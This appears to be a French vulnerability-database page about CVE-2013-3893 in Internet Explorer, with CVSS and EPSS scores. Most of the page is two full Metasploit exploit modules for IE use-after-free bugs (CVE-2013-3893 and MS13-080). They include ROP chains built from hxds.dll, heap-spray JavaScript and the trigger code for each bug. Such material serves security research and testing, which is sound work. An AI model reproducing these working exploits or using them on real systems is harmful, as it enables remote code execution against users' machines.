CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Use-after-free vulnerability in the SetMouseCapture implementation in mshtml.dll in Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code via crafted JavaScript strings, as demonstrated by use of an ms-help: URL that triggers loading of hxds.dll.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
91.67%
–
–
2023-03-12
–
–
–
96.55%
–
2023-03-19
–
–
–
96.51%
–
2023-09-17
–
–
–
96.33%
–
2023-11-05
–
–
–
96.4%
–
2023-12-24
–
–
–
96.21%
–
2024-02-11
–
–
–
96.25%
–
2024-04-07
–
–
–
96.4%
–
2024-06-02
–
–
–
96.4%
–
2024-06-09
–
–
–
96.5%
–
2024-08-11
–
–
–
96.85%
–
2024-10-13
–
–
–
96.77%
–
2024-12-22
–
–
–
96.2%
–
2025-02-16
–
–
–
95.73%
–
2025-01-19
–
–
–
96.2%
–
2025-02-16
–
–
–
95.73%
–
2025-03-18
–
–
–
–
79.81%
2025-03-18
–
–
–
–
79.81,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2013-10-01 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability that currents targets Internet
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
It was initially found in the wild in Japan, but other regions such as English,
Chinese, Korean, etc, were targeted as well.
The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
reference during an event. An attacker first can setup two elements, where the second
is the child of the first, and then setup a onlosecapture event handler for the parent
element. The onlosecapture event seems to require two setCapture() calls to trigger,
one for the parent element, one for the child. When the setCapture() call for the child
element is called, it finally triggers the event, which allows the attacker to cause an
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
memory. The exact size of this memory may differ based on the version of IE. After the
free, an invalid reference will still be kept and pass on to more functions, eventuall
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
code execution) when this function attempts to use this reference to call what appears to
be a PrivateQueryInterface due to the offset (0x00).
To mimic the same exploit found in the wild, this module will try to use the same DLL
from Microsoft Office 2007 or 2010 to leverage the attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild first spotted in Japan
'sinn3r' # Metasploit (thx binjo for the heads up!)
],
'References' =>
[
[ 'CVE', '2013-3893' ],
[ 'OSVDB', '97380' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000
},
'DefaultOptions' =>
{
'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))
end
def is_win7_ie9?(agent)
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
end
def get_preq_html(cli, req)
%Q|
<html>
<script>
function getDLL() {
var checka = 0;
var checkb = 0;
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}
try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}
if ((typeof checka) == "object" && (typeof checkb) == "object") {
return "office2010";
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
return "office2007";
}
return "na";
}
window.onload = function() {
document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL();
}
</script>
</html>
|
end
def junk
return rand_text_alpha(4).unpack("V")[0].to_i
end
def get_payload(rop_dll)
code = payload.encoded
rop = ''
p = ''
case rop_dll
when :office2007
rop =
[
junk, # Alignment
0x51c46f91, # POP EBP # RETN [hxds.dll]
0x51c46f91, # skip 4 bytes [hxds.dll]
0x51c35a4d, # POP EBX # RETN [hxds.dll]
0xffffffff,
0x51bd90fd, # INC EBX # RETN [hxds.dll]
0x51bd90fd, # INC EBX # RETN [hxds.dll]
0x51bfa98e, # POP EDX # RETN [hxds.dll]
0xffffefff,
0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c1df88, # NEG EAX # RETN [hxds.dll]
0x51c55c45, # DEC EAX, RETN [hxds.dll]
0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c4c17c, # POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll]
0x51c1df88, # NEG EAX # RETN [hxds.dll]
0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll]
0x51c05766, # POP EDI # RETN [hxds.dll]
0x51bfbaaf, # RETN (ROP NOP) [hxds.dll]
0x51c2e77d, # POP ESI # RETN [hxds.dll]
0x51bfc840, # JMP [EAX] [hxds.dll]
0x51c05266, # POP EAX # RETN [hxds.dll]
0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll]
0x51bdf91f, # PUSHAD # RETN [hxds.dll]
0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll]
].pack("V*")
when :office2010
rop =
[
# 4 dword junks due to the add esp in stack pivot
junk,
junk,
junk,
junk,
0x51c41953, # POP EBP # RETN [hxds.dll]
0x51be3a03, # RETN (ROP NOP) [hxds.dll]
0x51c41953, # skip 4 bytes [hxds.dll]
0x51c4486d, # POP EBX # RETN [hxds.dll]
0xffffffff,
0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll]
0x51bd1a77, # INC EAX # RETN [hxds.dll]
0x51bd1a77, # INC EAX # RETN [hxds.dll]
0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll]
0x51bfa298, # POP EDX # RETN [hxds.dll]
0xffffefff,
0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll]
0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51bd5382, # DEC EAX # RETN [hxds.dll]
0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll]
0x51c1f094, # POP ECX # RETN [hxds.dll]
0xffffffc0,
0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll]
0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll]
junk,
0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll]
0x51bf1ff0, # POP EDI # RETN [hxds.dll]
0x51bd5383, # RETN (ROP NOP) [hxds.dll]
0x51c07c8b, # POP ESI # RETN [hxds.dll]
0x51bfc7cb, # JMP [EAX] [hxds.dll]
0x51c44707, # POP EAX # RETN [hxds.dll]
0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll]
0x51c3604e, # PUSHAD # RETN [hxds.dll]
0x51c541ef, # ptr to 'jmp esp' [hxds.dll]
].pack("V*")
end
p = rop + code
p
end
def get_exploit_html(cli, req, rop_dll)
gadgets = {}
case rop_dll
when :office2007
gadgets[:spray1] = 0x1af40020
# 0x31610020-0xc4, pointer to gadgets[:call_eax]
gadgets[:target] = 0x3160ff5c
# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[:call_eax] = 0x51bd1ce8
# xchg eax,esp
# add byte [eax], al
# pop esi
# mov [edi+23c], ebp
# mov [edi+238], ebp
# mov [edi+234], ebp
# pop ebp
# pop ebx
# ret
gadgets[:pivot] = 0x51be4418
when :office2010
gadgets[:spray1] = 0x1a7f0020
# 0x30200020-0xc4, pointer to gadgets[:call_eax]
gadgets[:target] = 0x301fff5c
# mov eax, [esi]
# push esi
# call [eax+4]
gadgets[:call_eax] = 0x51bd1a41
# xchg eax,esp
# add eax,dword ptr [eax]
# add esp,10
# mov eax,esi
# pop esi
# pop ebp # retn 4
gadgets[:pivot] = 0x51c00e64
end
p1 =
[
gadgets[:target], # Target address
gadgets[:pivot] # stack pivot
].pack("V*")
p1 << get_payload(rop_dll)
p2 =
[
gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
].pack("V*")
js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
js_p1 = Rex::Text.to_unescape(p1)
js_p2 = Rex::Text.to_unescape(p2)
%Q|
<html>
<script>
#{js_property_spray}
function loadOffice() {
try{location.href='ms-help://'} catch(e){}
}
var a = new Array();
function spray() {
var obj = '';
for (i=0; i<20; i++) {
if (i==0) { obj += unescape("#{js_s1}"); }
else { obj += "\\u4242\\u4242"; }
}
obj += "\\u5555";
for (i=0; i<10; i++) {
var e = document.createElement("div");
e.className = obj;
a.push(e);
}
var s1 = unescape("#{js_p1}");
sprayHeap({shellcode:s1, maxAllocs:0x300});
var s2 = unescape("#{js_p2}");
sprayHeap({shellcode:s2, maxAllocs:0x300});
}
function hit()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
spray();
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
for (i=0; i<20; i++) {
document.createElement("frame");
}
window.onload = function() {
loadOffice();
hit();
}
</script>
</html>
|
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
unless is_win7_ie9?(agent)
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
end
html = ''
if request.uri =~ /\?dll=(\w+)$/
rop_dll = ''
if $1 == 'office2007'
print_status("Using Office 2007 ROP chain")
rop_dll = :office2007
elsif $1 == 'office2010'
print_status("Using Office 2010 ROP chain")
rop_dll = :office2010
else
print_error("Target does not have Office installed")
send_not_found(cli)
return
end
html = get_exploit_html(cli, request, rop_dll)
else
print_status("Checking target requirements...")
html = get_preq_html(cli, request)
end
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
def exploit
@exploit_page = "default.html"
super
end
end
=begin
hxds.dll (Microsoft® Help Data Services Module)
2007 DLL info:
ProductVersion: 2.05.50727.198
FileVersion: 2.05.50727.198 (QFE.050727-1900)
2010 DLL info:
ProductVersion: 2.05.50727.4039
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
mshtml.dll
ProductVersion: 9.00.8112.16446
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
FileDescription: Microsoft (R) HTML Viewer
0:005> r
eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34
eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::GetInterface+0xd8:
679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=????????
66e13df7 8b0e mov ecx,dword ptr [esi]
66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000)
66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h]
66e13e01 ffd0 call eax
=end
Date de publication : 2013-10-14 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
multiple research companies and the vendor until the October patch release.
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
"onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
If we use a select() function for the CTextArea element, two important things will happen:
a CDisplayPointer object will be created for CTextArea, and it will also trigger another
event called "onselect". The "onselect" event will allow us to set up for the actual event
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
"onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer
object can be forced by using an "Unslect" (other approaches also apply), but a reference
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
the CDoc::GetLineInfo call, because it is still trying to use that to update
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
finally occurs due to accessing the freed memory. By controlling this freed memory, it is
possible to achieve arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-3897' ],
[ 'OSVDB', '98207' ],
[ 'MSB', 'MS13-080' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', {} ],
[ 'IE 8 on Windows 7', {} ]
],
'Payload' =>
{
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
# Jsunpack first received a sample to analyze on Sep 12 2013.
# MSFT patched this on Oct 8th.
'DisclosureDate' => "Oct 08 2013",
'DefaultTarget' => 0))
end
def get_check_html
%Q|<html>
<script>
#{js_os_detect}
function os() {
var detect = window.os_detect.getVersion();
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
return os_string;
}
function dll() {
var checka = 0;
var checkb = 0;
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}
try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}
if ((typeof checka) == "object" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2010_str}";
}
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
try{location.href='ms-help://'} catch(e){}
return "#{@js_office_2007_str}";
}
return "#{@js_default_str}";
}
window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
}
</script>
</html>
|
end
def junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def get_payload(target_info)
rop_payload = ''
os = target_info[:os]
dll_used = ''
case target_info[:dll]
when @js_office_2007_str
dll_used = "Office 2007"
pivot =
[
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
junk, # ESI due to POPAD
junk, # EBP due to POPAD
junk,
junk, # EBX due to POPAD
junk, # EDX due to POPAD
junk, # ECX due to POPAD
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
0x51bd81db, # ROP NOP
junk # Padding for the retn 4 from the stack pivot
].pack("V*")
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})
when @js_office_2010_str
dll_used = "Office 2010"
pivot =
[
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4
junk,
junk,
junk,
junk,
junk,
0x51BE7E9A, # ROP NOP
junk # Padding for the retn 4 from the stack pivot
].pack("V*")
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})
when @js_default_str
if target_info[:os] =~ /windows xp/i
# XP uses msvcrt.dll
dll_used = "msvcrt"
pivot =
[
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret
].pack("V*")
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
else
# Assuming this is Win 7, and we'll use Java 6 ROP
dll_used = "Java"
pivot =
[
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn
junk # Padding for the POP ECX
].pack("V*")
rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
end
end
print_status("Target uses #{os} with #{dll_used} DLL")
rop_payload
end
def get_sploit_html(target_info)
os = target_info[:os]
js_payload = ''
if os =~ /Windows (7|XP) MSIE 8\.0/
js_payload = Rex::Text.to_unescape(get_payload(target_info))
else
print_error("Target not supported by this attack.")
return ""
end
%Q|<html>
<head>
<script>
#{js_property_spray}
sprayHeap({shellcode:unescape("#{js_payload}")});
var earth = document;
var data = "";
for (i=0; i<17; i++) {
if (i==7) { data += unescape("%u2020%u2030"); }
else { data += "\\u4141\\u4141"; }
}
data += "\\u4141";
function butterfly() {
for(i=0; i<20; i++) {
var effect = earth.createElement("div");
effect.className = data;
}
}
function kaiju() {
var godzilla = earth.createElement("textarea");
var minilla = earth.createElement("pre");
earth.body.appendChild(godzilla);
earth.body.appendChild(minilla);
godzilla.appendChild(minilla);
godzilla.onselect=function(e) {
minilla.swapNode(earth.createElement("div"));
}
var battleStation = false;
var war = new Array();
godzilla.onpropertychange=function(e) {
if (battleStation == true) {
for (i=0; i<50; i++) {
war.push(earth.createElement("span"));
}
}
earth.execCommand("Unselect");
if (battleStation == true) {
for (i=0; i < war.length; i++) {
war[i].className = data;
}
}
else {
battleStation = true;
}
}
butterfly();
godzilla.select();
}
</script>
</head>
<body onload='kaiju()'>
</body>
</html>
|
end
def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
end
html = get_check_html
print_status("Checking out target...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
end
def exploit
@js_office_2007_str = Rex::Text.rand_text_alpha(4)
@js_office_2010_str = Rex::Text.rand_text_alpha(5)
@js_default_str = Rex::Text.rand_text_alpha(6)
super
end
end
=begin
+hpa this for debugging or you might not see a crash at all :-)
0:005> r
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!QIClassID+0x30:
6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=????????
0:005> u
mshtml!QIClassID+0x30:
6d6dc123 8b03 mov eax,dword ptr [ebx]
6d6dc125 8365e800 and dword ptr [ebp-18h],0
6d6dc129 8d4de8 lea ecx,[ebp-18h]
6d6dc12c 51 push ecx
6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170)
6d6dc132 53 push ebx
6d6dc133 bf02400080 mov edi,80004002h
6d6dc138 ff10 call dword ptr [eax]
=end